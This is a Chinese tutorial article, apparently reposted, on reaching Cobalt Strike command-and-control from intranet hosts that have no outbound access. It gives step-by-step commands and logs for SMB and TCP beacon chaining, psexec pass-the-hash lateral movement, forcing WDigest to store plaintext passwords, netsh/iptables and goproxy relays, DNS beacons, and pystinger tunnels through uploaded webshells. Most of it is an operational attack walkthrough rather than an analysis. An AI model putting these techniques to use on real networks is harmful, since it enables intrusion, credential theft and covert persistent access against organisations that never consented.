不出网上线CS的各种姿势（内网横向）

2024-06-22 01:20
文章标签 网上 cs 横向 姿势

本文主要是介绍不出网上线CS的各种姿势（内网横向），希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！

情况一：存在一台中转机器

存在一台中转机器，这台机器出网，这种是最常见的情况。

经常是拿下一台边缘机器，其有多块网卡，用于连接内外网，内网机器都不出网。这种情况下拿这个边缘机器做中转，就可以上线。因为内网机器不出网，所以就算被种马，也上不了线，应为木马反弹回去的时候出不了网。

拓扑大致如下:

img

上线方法一：SMB Beacon

大致流程：

首先要拿下边缘服务器，然后使用边缘服务器当代理，进入内网服务器，并上传木马。

怎么通过边缘服务器进行代理呢？

通过在边缘服务器和内网服务器之间建立隧道（Beacon SMB/TCP），但是建立隧道要有内网服务器的权限（管理员账号密码），怎么获取呢，有以下两种思路：

1.内网服务器部署了其他服务，通过这些服务来进行入侵，然后提权；

2.内网横向，但是不知道内网服务器管理员的账号密码，所以要对账号密码进行合理的猜测，一般管理员为缓解对账号密码的记录，会将账号和密码设为同一个，我们已经拿下边缘服务器，那么使用边缘服务器的账号密码进行登录入侵。

抓取密码---CS

明文密码抓取：由于微软的补丁已经不允许抓取明文密码了，但是我们可以通过修改注册表来让Wdigest Auth保存明文密码（具体流程参考：cs与msf权限传递，以及mimikatz抓取win2012明文密码_cs与msf权限传递,以及mimikatz抓取win2012明文密码-CSDN博客）

密文密码：可以通过hashdump来抓取，然后通过passhash进行认证

passhash原理：windows存在Winlogon.exe这个进程会将明文的账号密码传递给下一个进程Lsass.exe，该进程会对明文密码进行加密，并存储一份在该进程中，然后加密后的密码存储到SAM文件中，然后下一次登录时会和该存储的密文进行对比。

使用passhash，需要知道内网中有几台机器，可以用namp进行扫描，也可以使用CS提供的port scan（端口扫描）

隧道建立后就可以用copy命令将木马文件传递到内网服务器的共享文件中去，至此，成功横传成功。

介绍

官网介绍：SMB Beacon使用命名管道通过父级Beacon进行通讯，当两个Beacons连接后，子Beacon从父Beacon获取到任务并发送。

因为连接的Beacons使用Windows命名管道进行通信，此流量封装在SMB协议中，所以SMB Beacon相对隐蔽，绕防火墙时可能发挥奇效。

使用

这种Beacon要求具有SMB Beacon的主机必须接受端口445上的连接。

派生一个SMB Beacon方法：在Listner生成SMB Beacon>目标主机>右键> spawn >选中对应的Listener>上线

或在Beacon中使用命令spawn smb（smb为我的smb listener名字）

img

使用插件，或自带端口扫描，扫描内网机器

img

转到视图，选择目标

img

使用psexec

img

选择一个hash，选择smb 监听器和对应会话

img

即可上线

img

img

运行成功后外部可以看到∞∞这个字符，这就是派生的SMB Beacon。

当前是连接状态，你可以Beacon上用link <ip>命令链接它或者unlink <ip>命令断开它。

img

img

这种Beacon在内网横向渗透中运用的很多。在内网环境中可以使用ipc $生成的SMB Beacon上传到目标主机执行，但是目标主机并不会直接上线的，需要我们自己用链接命令(link <ip>)去连接它。

上线方法二：中转listener(Reverse TCP Beacon)

其实和方法一是类似的

img

以下内容会自动配置

img

然后和上面方法一一样，发现内网主机且知道账号密码,psexec横向传递，选择中转listener

img

img

img

上线方法三：HTTP 代理

中转机器不需要上线即可

使用goproxy项目做代理，项目地址：

代码语言：javascript

复制

https://github.com/snail007/goproxy

过程：

1.上传proxy.exe到web服务器(边缘主机)，在8080端口开启http代理

代码语言：javascript

复制

C:\proxy.exe http -t tcp -p "0.0.0.0:8080" --daemon

2.用netsh命令将访问内网ip 192.168.111.131的822端口(必须为未使用的端口，否则会失败)的流量重定向到外网ip 192.168.1.88的8080端口

代码语言：javascript

复制

netsh interface portproxy add v4tov4 listenaddress=192.168.111.131 listenport=822 connectaddress=192.168.1.88 connectport=8080

img

3.创建listener，配置如下

img

4.生成stageless payload，在业务服务器上执行，成功上线

img

连接过程

代码语言：javascript

复制

192.168.111.236  → 192.168.111.131:822→ 192.168.1.88:8080→ C2(192.168.1.89)
上线方法四、TCP Beacon(正向)

  • 正向连接

  • 和SMB Beacon比较类似。也需要一个父beacon

  • SMB Beacon，TCP Beacon 与 Cobalt Strike 中派生 payload 的大多数动作相兼容。除了一些 要求显式 stager 的用户驱动的攻击（比如：Attacks → Packages 、 Attacks → Web Drive-by ）。

测试：

生成一个tcp beacon

img

使用该beacon生成一个stageless形式的木马：

img

上传到目标机器运行：

img

在中转机器的Beacon里使用connect [ip address] [port]命令进行正向连接，即可上线：

img

要销毁一个 Beacon 链接，在父会话或子会话的控制台中使用 unlink [ip address] [session PID] 。以后，你可以从同一主机（或其他主机）重新连接到 TCP Beacon。

img

上线方法五、使用pystinger进行代理转发

pystinger的详细使用 见下面章节。这里仅简单演示一下：

一般不会将pystinger用在这种场景下

测试环境：

攻击机kali：192.168.1.35

web服务器：192.168.1.70、192.168.111.129

业务服务器：192.168.111.236

过程：

1.上传proxy.php到WEB服务器网站目录，正常访问返回UTF-8

web服务器外网ip为192.168.1.70

img

上传stinger_server.exe，执行

代码语言：javascript

复制

start stinger_server.exe 0.0.0.0

攻击机(192.168.1.89)上执行

代码语言：javascript

复制

./stinger_client -w http://192.168.1.70/proxy.php -l 127.0.0.1 -p 60000

此时已经将web服务器的60020端口转发到vps的60020端口上了

CS设置监听,HTTP Hosts为中转机器的内网ip，端口为60020：

img

使用psexec横向移动，选择listener为pystinger，或者直接生成payload在业务主机执行，业务内网主机192.168.111.236即可成功上线：

img

img

补充：中转机器为Linux
HTTP代理(中转机器不需要上线即可)

使用方法与上面方法三一样。只不过要使用iptables转发：

代码语言：javascript

复制

echo 1 >/proc/sys/net/ipv4/ip_forward

代码语言：javascript

复制

iptables -A PREROUTING -p tcp -d 192.168.111.131 --dport 822 -j DNAT --to-destination 192.168.1.88:8080
​
iptables -A POSTROUTING -p tcp -d 192.168.1.88 --dport 8080 -j SNAT --to-source 192.168.111.131:822

测试：

img

生成stageless payload，在目标机器上执行，成功上线

使用pystinger进行代理转发

和上面上线方法五一样，建立pystinger连接之后，直接生成payload在业务主机执行，业务内网主机192.168.111.236即可成功上线。。

CrossC2

通过其他机器的Beacon可以直接上线Linux机器

img

CrossC2使用

用来上线Linux或MacOS机器

项目地址： 【一定要下载对应版本的】

代码语言：javascript

复制

https://github.com/gloxec/CrossC2

配置：

(我这里在Windows上运行的teamserver)

img

创建个https监听：

img

生成个payload

(用其他方式也可以)

img

img

img

如果生成不了，也可以直接命令行生成

img

生成之后，上传到Linux机器，运行，即可上线：

img

img

安装CrossC2Kit插件，丰富beacon的功能

img

img

内网机器上线CS:

中转的Linux机器上线之后，即可用上面的方法来上线内网机器。

TCP Beacon：

img

img

上传到目标机器运行。

然后在Linux beacon下连接：

img

上线之后是个黑框，checkin一下就可以了

情况二：边缘机器只有DNS协议出网

DNS上线CS
一、准备工作

1）域名 ，godaddy ：yokan.xxx2）vps，防火墙开放UDP端口53 : 82.xxx.xxx.19

img

3）cobalt strike 4.1

二、域名设置

1）设置解析

配置A记录设置成vps的ip，cs也配置在vps上

img

配置几个ns记录 指向刚刚A记录对应的域名

img

配置完成之后ping test.yokan.xxx可以ping通

img

vps上查看53端口占用情况，停掉vps的53端口服务

img

systemctl stop systemd-resolved

img

img

2）cs设置监听

img

![image-

都是ns记录的域名，DNS Host(Stager)随便选择其中一个就可以。

img

3）nslookup查看 ，成功解析：

img

注意：响应的地址74.125.196.113，这个是跟profile里设置的

img

三、cs上线

生成cs的stageless上线马，执行上线

stageless 马 dns有x64版本 , stager没有

img

img

上线之后是黑框，需要使用checkin命令让dns beacon强制回连teamserver

img

PS:需要多等一会

img

这样就可以正常交互了：

img

情况三：边缘机器不出网

方法一、TCP Beacon 正向连接

应用场景：边缘机器各种协议均不出网，但是可以正向访问到。

使用：

先让自己的攻击机上线

img

然后，如"上线方法四"一样，使用TCP Beacon生成一个stageless形式的木马，上传到目标机器，并运行。

img

在攻击机(中转机器)的Beacon里使用connect [ip address] [port]命令进行正向连接，即可上线：

img

方法二、使用pystinger(毒刺)工具

应用场景：边缘机器各种协议均不出网，但是存在web服务，已经拿到webshell。

项目地址:

代码语言：javascript

复制

https://github.com/FunnyWolf/pystinger

简单原理：

Pystinger来实现内网反向代理，利用http协议将目标机器端口映射至cs服务端监听端口，能在只能访问web服务且不出网的情况下可以使其上线cs

img

（图源网络）

使用

地址:

代码语言：javascript

复制

https://github.com/FunnyWolf/pystinger/blob/master/readme_cn.md

这里直接复制过来了：

假设不出网服务器域名为 http://example.com:8080 ,服务器内网IP地址为192.168.3.11

SOCK4代理

  • proxy.jsp上传到目标服务器,确保 http://example.com:8080/proxy.jsp 可以访问,页面返回 UTF-8

  • 将stinger_server.exe上传到目标服务器,蚁剑/冰蝎执行start D:/XXX/stinger_server.exe启动服务端

不要直接运行D:/XXX/stinger_server.exe,会导致tcp断连

  • vps执行./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000

  • 如下输出表示成功

代码语言：javascript

复制

root@kali:~# ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000
2020-01-06 21:12:47,673 - INFO - 619 - Local listen checking ...
2020-01-06 21:12:47,674 - INFO - 622 - Local listen check pass
2020-01-06 21:12:47,674 - INFO - 623 - Socks4a on 127.0.0.1:60000
2020-01-06 21:12:47,674 - INFO - 628 - WEBSHELL checking ...
2020-01-06 21:12:47,681 - INFO - 631 - WEBSHELL check pass
2020-01-06 21:12:47,681 - INFO - 632 - http://example.com:8080/proxy.jsp
2020-01-06 21:12:47,682 - INFO - 637 - REMOTE_SERVER checking ...
2020-01-06 21:12:47,696 - INFO - 644 - REMOTE_SERVER check pass
2020-01-06 21:12:47,696 - INFO - 645 - --- Sever Config ---
2020-01-06 21:12:47,696 - INFO - 647 - client_address_list => []
2020-01-06 21:12:47,696 - INFO - 647 - SERVER_LISTEN => 127.0.0.1:60010
2020-01-06 21:12:47,696 - INFO - 647 - LOG_LEVEL => INFO
2020-01-06 21:12:47,697 - INFO - 647 - MIRROR_LISTEN => 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 647 - mirror_address_list => []
2020-01-06 21:12:47,697 - INFO - 647 - READ_BUFF_SIZE => 51200
2020-01-06 21:12:47,697 - INFO - 673 - TARGET_ADDRESS : 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 677 - SLEEP_TIME : 0.01
2020-01-06 21:12:47,697 - INFO - 679 - --- RAT Config ---
2020-01-06 21:12:47,697 - INFO - 681 - Handler/LISTEN should listen on 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 683 - Payload should connect to 127.0.0.1:60020
2020-01-06 21:12:47,698 - WARNING - 111 - LoopThread start
2020-01-06 21:12:47,703 - WARNING - 502 - socks4a server start on 127.0.0.1:60000
2020-01-06 21:12:47,703 - WARNING - 509 - Socks4a ready to accept

  • 此时已经在vps127.0.0.1:60000启动了一个example.com所在内网的socks4a代理

  • 此时已经将目标服务器的127.0.0.1:60020映射到vps的127.0.0.1:60020

cobalt strike单主机上线

  • proxy.jsp上传到目标服务器,确保 http://example.com:8080/proxy.jsp 可以访问,页面返回 UTF-8

  • 将stinger_server.exe上传到目标服务器,蚁剑/冰蝎执行start D:/XXX/stinger_server.exe启动服务端

不要直接运行D:/XXX/stinger_server.exe,会导致tcp断连

  • stinger_client命令行执行./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000

  • 如下输出表示成功

代码语言：javascript

复制

root@kali:~# ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000
2020-01-06 21:12:47,673 - INFO - 619 - Local listen checking ...
2020-01-06 21:12:47,674 - INFO - 622 - Local listen check pass
2020-01-06 21:12:47,674 - INFO - 623 - Socks4a on 127.0.0.1:60000
2020-01-06 21:12:47,674 - INFO - 628 - WEBSHELL checking ...
2020-01-06 21:12:47,681 - INFO - 631 - WEBSHELL check pass
2020-01-06 21:12:47,681 - INFO - 632 - http://example.com:8080/proxy.jsp
2020-01-06 21:12:47,682 - INFO - 637 - REMOTE_SERVER checking ...
2020-01-06 21:12:47,696 - INFO - 644 - REMOTE_SERVER check pass
2020-01-06 21:12:47,696 - INFO - 645 - --- Sever Config ---
2020-01-06 21:12:47,696 - INFO - 647 - client_address_list => []
2020-01-06 21:12:47,696 - INFO - 647 - SERVER_LISTEN => 127.0.0.1:60010
2020-01-06 21:12:47,696 - INFO - 647 - LOG_LEVEL => INFO
2020-01-06 21:12:47,697 - INFO - 647 - MIRROR_LISTEN => 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 647 - mirror_address_list => []
2020-01-06 21:12:47,697 - INFO - 647 - READ_BUFF_SIZE => 51200
2020-01-06 21:12:47,697 - INFO - 673 - TARGET_ADDRESS : 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 677 - SLEEP_TIME : 0.01
2020-01-06 21:12:47,697 - INFO - 679 - --- RAT Config ---
2020-01-06 21:12:47,697 - INFO - 681 - Handler/LISTEN should listen on 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 683 - Payload should connect to 127.0.0.1:60020
2020-01-06 21:12:47,698 - WARNING - 111 - LoopThread start
2020-01-06 21:12:47,703 - WARNING - 502 - socks4a server start on 127.0.0.1:60000
2020-01-06 21:12:47,703 - WARNING - 509 - Socks4a ready to accept

  • cobalt strike添加监听,端口选择输出信息RAT Config中的Handler/LISTEN中的端口(通常为60020),beacons为127.0.0.1

  • 生成payload,上传到主机运行后即可上线

cobalt strike多主机上线

  • proxy.jsp上传到目标服务器,确保 http://example.com:8080/proxy.jsp 可以访问,页面返回 UTF-8

  • 将stinger_server.exe上传到目标服务器,蚁剑/冰蝎执行 start D:/XXX/stinger_server.exe 192.168.3.11 启动服务端

192.168.3.11可以改成0.0.0.0

  • stinger_client命令行执行./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000

  • 如下输出表示成功

代码语言：javascript

复制

root@kali:~# ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000
2020-01-06 21:12:47,673 - INFO - 619 - Local listen checking ...
2020-01-06 21:12:47,674 - INFO - 622 - Local listen check pass
2020-01-06 21:12:47,674 - INFO - 623 - Socks4a on 127.0.0.1:60000
2020-01-06 21:12:47,674 - INFO - 628 - WEBSHELL checking ...
2020-01-06 21:12:47,681 - INFO - 631 - WEBSHELL check pass
2020-01-06 21:12:47,681 - INFO - 632 - http://example.com:8080/proxy.jsp
2020-01-06 21:12:47,682 - INFO - 637 - REMOTE_SERVER checking ...
2020-01-06 21:12:47,696 - INFO - 644 - REMOTE_SERVER check pass
2020-01-06 21:12:47,696 - INFO - 645 - --- Sever Config ---
2020-01-06 21:12:47,696 - INFO - 647 - client_address_list => []
2020-01-06 21:12:47,696 - INFO - 647 - SERVER_LISTEN => 127.0.0.1:60010
2020-01-06 21:12:47,696 - INFO - 647 - LOG_LEVEL => INFO
2020-01-06 21:12:47,697 - INFO - 647 - MIRROR_LISTEN => 192.168.3.11:60020
2020-01-06 21:12:47,697 - INFO - 647 - mirror_address_list => []
2020-01-06 21:12:47,697 - INFO - 647 - READ_BUFF_SIZE => 51200
2020-01-06 21:12:47,697 - INFO - 673 - TARGET_ADDRESS : 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 677 - SLEEP_TIME : 0.01
2020-01-06 21:12:47,697 - INFO - 679 - --- RAT Config ---
2020-01-06 21:12:47,697 - INFO - 681 - Handler/LISTEN should listen on 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 683 - Payload should connect to 192.168.3.11:60020
2020-01-06 21:12:47,698 - WARNING - 111 - LoopThread start
2020-01-06 21:12:47,703 - WARNING - 502 - socks4a server start on 127.0.0.1:60000
2020-01-06 21:12:47,703 - WARNING - 509 - Socks4a ready to accept

  • cobalt strike添加监听,端口选择RAT Config中的Handler/LISTEN中的端口(通常为60020),beacons为192.168.3.11(example.com的内网IP地址)

  • 生成payload,上传到主机运行后即可上线

  • 横向移动到其他主机时可以将payload指向192.168.3.11:60020即可实现出网上线

定制Header及proxy

  • 如果webshell需要配置Cookie或者Authorization,可通过--header参数配置请求头

代码语言：javascript

复制

--header "Authorization: XXXXXX,Cookie: XXXXX"

  • 如果webshell需要通过代理访问,可通过--proxy设置代理

代码语言：javascript

复制

--proxy "socks5:127.0.0.1:1081"
测试

攻击机：192.168.1.89

假设我们在拿下一台目标主机，但是无法连接外网。

img

使用 pystinger 工具进行 CS 上线，下载地址，通过 webshell 实现内网 SOCK4 代理，端口映射可以使目标不出网情况下在 CS 上线。

首先上传对应版本脚本到目标服务器。

img

将stinger_server.exe上传到目标服务器,蚁剑/冰蝎执行start stinger_server.exe启动服务端

img

img

把 stinger_client 上传到 teamserver 服务器，-w 指定 proxy 的 url 地址运行。

代码语言：javascript

复制

chmod +x stinger_client
./stinger_client -w http://192.168.1.70/proxy.php -l 127.0.0.1 -p 60000

img

CS 新建监听器，设置为目标机器的内网 IP，端口默认 60020。(teamserver 服务器和执行 stinger_client 应为同一台服务器)

img

生成木马，上传目标服务器并执行。可看到 CS 有新上线主机。

这篇关于不出网上线CS的各种姿势（内网横向）的文章就介绍到这儿，希望我们推荐的文章对编程师们有所帮助！


http://www.chinasem.cn/article/1082888。

相关文章

2. c#从不同cs的文件调用函数

2. c#从不同cs的文件调用函数

1.文件目录如下： 2. Program.cs文件的主函数如下 using System;using System.Collections.Generic;using System.Linq;using System.Threading.Tasks;using System.Windows.Forms;namespace datasAnalysis{internal static
阅读更多...
49个权威的网上学习资源网站

49个权威的网上学习资源网站

艺术与音乐 Dave Conservatoire — 一个完全免费的音乐学习网站，口号是“让每一个人都可以接受世界级的音乐教育”，有视频，有练习。 Drawspace — 如果你想学习绘画，或者提高自己的绘画技能，就来Drawspace吧。 Justin Guitar — 超过800节免费的吉他课程，有自己的app，还有电子书、DVD等实用内容。 数学，数据科学与工程 Codecad
阅读更多...
【自动驾驶】控制算法（八）横向控制Ⅱ | Carsim 与 Matlab 联合仿真基本操作

【自动驾驶】控制算法（八）横向控制Ⅱ | Carsim 与 Matlab 联合仿真基本操作

写在前面： 🌟 欢迎光临 清流君 的博客小天地，这里是我分享技术与心得的温馨角落。📝 个人主页：清流君_CSDN博客，期待与您一同探索 移动机器人 领域的无限可能。 🔍 本文系 清流君 原创之作，荣幸在CSDN首发🐒 若您觉得内容有价值，还请评论告知一声，以便更多人受益。 转载请注明出处，尊重原创，从我做起。 👍 点赞、评论、收藏，三连走一波，让我们一起养成好习惯😜 在这里，您将
阅读更多...
Java项目: 基于SpringBoot+mybatis+maven网上租贸系统(含源码+数据库+毕业论文)

Java项目: 基于SpringBoot+mybatis+maven网上租贸系统(含源码+数据库+毕业论文)

一、项目简介 本项目是一套基于SpringBoot+mybatis+maven网上租贸系统 包含：项目源码、数据库脚本等，该项目附带全部源码可作为毕设使用。 项目都经过严格调试，eclipse或者idea 确保可以运行！ 该系统功能完善、界面美观、操作简单、功能齐全、管理便捷，具有很高的实际应用价值 二、技术实现 jdk版本：1.8 及以上 ide工具：IDEA或者eclipse 数据库:
阅读更多...
HDU1720（输入输出涨姿势）

HDU1720（输入输出涨姿势）

A+B Coming Time Limit: 1000/1000 MS (Java/Others)    Memory Limit: 32768/32768 K (Java/Others) Total Submission(s): 5953    Accepted Submission(s): 3901 题目链接： http://acm.hdu.edu.cn/showproblem.p
阅读更多...
内网渗透—横向移动非约束委派约束委派

内网渗透—横向移动非约束委派约束委派

前言 今天依旧是横向移动的内容，委派主要分为三类非约束委派、约束委派、资源委派。今天主要讲前面两个内容，资源委派留到最后再讲。 实验环境 Web：192.168.145.137，192.168.22.28DC：192.168.22.30 非约束委派 原理 原理很简单，当DC访问具有非约束委派权限的主机A时，会把当前域管理员账户的TGT放在ST票据中，然后一起发给主机A。主机A会把TG
阅读更多...
Accept CS Ph.D. Offer from Stony Brook University，去SUNY石溪大学的CS Ph.D.啦

Accept CS Ph.D. Offer from Stony Brook University，去SUNY石溪大学的CS Ph.D.啦

前言：在2017年3月24日，正式决定去纽约州立大学石溪分校(State University of New York, Stony Brook，简称石溪大学)，CS Ph.D. 项目。本科直博，DIY申请，全额奖学金，第一年5.1万美元（免学费2.2万，2017 fall, 2018 spring 的TA 1.93万，2018 summer RA 1万，没有 Fellowship） Abs
阅读更多...
内网安全-横向移动【3】

内网安全-横向移动【3】

1.域横向移动-内网服务-Exchange探针 Exchange是一个电子右键服务组件，由微软公司开发。它不仅是一个邮件系统，还是一个消息与协作系统。Exchange可以用来构建企业、学校的邮件系统，同时也是一个协作平台，可以基于此开发工作流、知识管理系统、Web系统或其他消息系统。 1.1 端口扫描 Exchange探针会对外暴露接口如OWA，ECP等，会暴露在80端口，而且北25/5
阅读更多...
基于C+++Mysql实现（CS界面）校友管理系统（面向对象）

基于C+++Mysql实现（CS界面）校友管理系统（面向对象）

校友管理系统（面向对象课程设计） 前言 校友管理系统要求以高校校友管理业务为背景，设计管理系统程序。 系统需要包含的主要信息有：校友基本信息:序号，姓名，电话，专业，现从事的专业，职务，工作年限，所在城市等；工作单位信息：单位名称，所属行业，单位性质（高校，企业、事业单位等），单位规模等；毕业学校信息：学校代码，校名，地址，性质（985,211，一班本科等）等；校友联系信息：校友姓名，所在城
阅读更多...
Android 横向列表GridView 实现横向滚动

Android 横向列表GridView 实现横向滚动

Android 横向列表实现，可左右滑动，如下图   1.主界面布局代码：activity_main.xml a.包裹HorizontalScrollView控件是GirdView横向滚动的基本条件b.GirdView外包裹LinearLayout是java代码中参数设置的必要条件 <?xml version="1.0" encoding="utf-8"?><Line
阅读更多...

Copyright China编程 23002807@qq.com

沪ICP备2023033072号-2